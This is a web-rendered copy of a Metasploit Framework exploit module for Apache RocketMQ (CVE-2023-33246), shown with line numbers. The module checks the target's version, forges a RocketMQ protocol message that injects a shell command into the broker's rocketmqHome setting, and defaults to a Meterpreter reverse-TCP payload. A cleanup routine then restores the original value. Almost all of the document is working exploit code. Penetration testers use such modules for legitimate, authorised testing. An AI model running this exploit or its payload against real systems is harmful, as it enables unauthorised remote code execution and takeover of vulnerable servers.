CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/apache_rocketmq_update_config.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::CmdStager
11
include Msf::Auxiliary::Rocketmq
12
prepend Msf::Exploit::Remote::AutoCheck
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Apache RocketMQ update config RCE',
19
'Description' => %q{
20
RocketMQ versions 5.1.0 and below are vulnerable to Arbitrary Code Injection. Broker component of RocketMQ is
21
leaked on the extranet and lack permission verification. An attacker can exploit this vulnerability by using
22
the update configuration function to execute commands as the system users that RocketMQ is running as.
23
Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content.
24
},
25
'Author' => [
26
'Malayke', # PoC
27
'jheysel-r7', # module - RCE portion
28
'h00die', # module - Version detection & parsing
29
],
30
'References' => [
31
[ 'URL', 'https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT#usage-examples'],
32
[ 'CVE', '2023-33246']
33
],
34
'License' => MSF_LICENSE,
35
'Platform' => %w[unix linux],
36
'Privileged' => false,
37
'Arch' => [ ARCH_CMD ],
38
'Targets' => [
39
[
40
'Automatic (Unix In-Memory)',
41
{
42
'Platform' => %w[unix linux],
43
'Arch' => ARCH_CMD,
44
'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' },
45
'Type' => :nix_memory
46
}
47
],
48
],
49
'Payload' => {
50
'BadChars' => "\x27"
51
},
52
'DefaultOptions' => {
53
'WfsDelay' => 60
54
},
55
'DefaultTarget' => 0,
56
'DisclosureDate' => '2023-05-23',
57
'Notes' => {
58
'Stability' => [ CRASH_SAFE ],
59
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],
60
'Reliability' => [ REPEATABLE_SESSION ]
61
}
62
)
63
)
64
65
register_options(
66
[
67
OptPort.new('RPORT', [true, 'The RocketMQ NameServer port', 9876]),
68
OptPort.new('BROKER_PORT', [false, 'The RocketMQ Broker port. If left unset the module will attempt to retrieve the Broker port from the NameServer response (recommended)', 10911])
69
]
70
)
71
end
72
73
def check
74
@version_request_response = send_version_request
75
return Exploit::CheckCode::Unknown('Unable to determine the version') unless @version_request_response
76
77
@parsed_data = parse_rocketmq_data(@version_request_response)
78
return Exploit::CheckCode::Unknown('RocketMQ did not respond to the request for version information') unless @parsed_data['version']
79
80
version = Rex::Version.new(@parsed_data['version'].gsub('V', ''))
81
return Exploit::CheckCode::Unknown('Unable to determine the version') unless version
82
83
if version > Rex::Version.new('5.0.0')
84
return Exploit::CheckCode::Appears("RocketMQ version: #{version}") if version <= Rex::Version.new('5.1.0')
85
elsif version <= Rex::Version.new('4.9.5')
86
return Exploit::CheckCode::Appears("RocketMQ version: #{version}")
87
end
88
Exploit::CheckCode::Safe("RocketMQ version: #{version}")
89
end
90
91
def execute_command(cmd, opts = {})
92
data = '`{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=1
93
rocketmqHome=' + cmd.encode('UTF-8') + "\x3b\x0a"
94
header = [data.length + 3].pack('N') + "\x00\x00\x00"
95
payload = header + data
96
97
begin
98
vprint_status("Payload command to be executed: #{cmd}")
99
sock = connect(true, { 'RHOST' => datastore['RHOST'], 'RPORT' => opts[:broker_port].to_i })
100
vprint_status("Payload is #{data}")
101
sock.put(payload)
102
rescue Rex::ConnectionError, ::Errno::ETIMEDOUT, ::Timeout::Error, ::EOFError => e
103
fail_with(Failure::Unreachable, "Unable to connect: #{e.class} #{e.message}")
104
end
105
end
106
107
def on_new_session(session)
108
print_status('Removing the payload from where it was injected into $ROCKETMQ_HOME. The FilterServerManager class will execute the payload every 30 seconds until this is reverted')
109
110
if session.type == 'meterpreter'
111
pwd = session.fs.dir.pwd
112
else
113
pwd = session.shell_command_token('pwd')
114
end
115
116
# The session returned by the exploit spawns inside $ROCKETMQ_HOME/bin
117
pwd.gsub!('/bin', '')
118
print_good("Determined the original $ROCKETMQ_HOME: #{pwd}")
119
print_status('Re-running the exploit in order to reset the proper $ROCKETMQ_HOME value')
120
121
execute_command(pwd, { broker_port: @broker_port })
122
end
123
124
def exploit
125
@version_request_response ||= send_version_request
126
@parsed_data ||= parse_rocketmq_data(@version_request_response)
127
@broker_port = get_broker_port(@parsed_data, datastore['rhost'], default_broker_port: datastore['BROKER_PORT'])
128
print_status("Executing target: #{target.name} with payload #{datastore['PAYLOAD']} on Broker port: #{@broker_port}")
129
execute_command("-c $@|sh . echo bash -c '#{payload.encoded}'", { broker_port: @broker_port })
130
end
131
end
132
133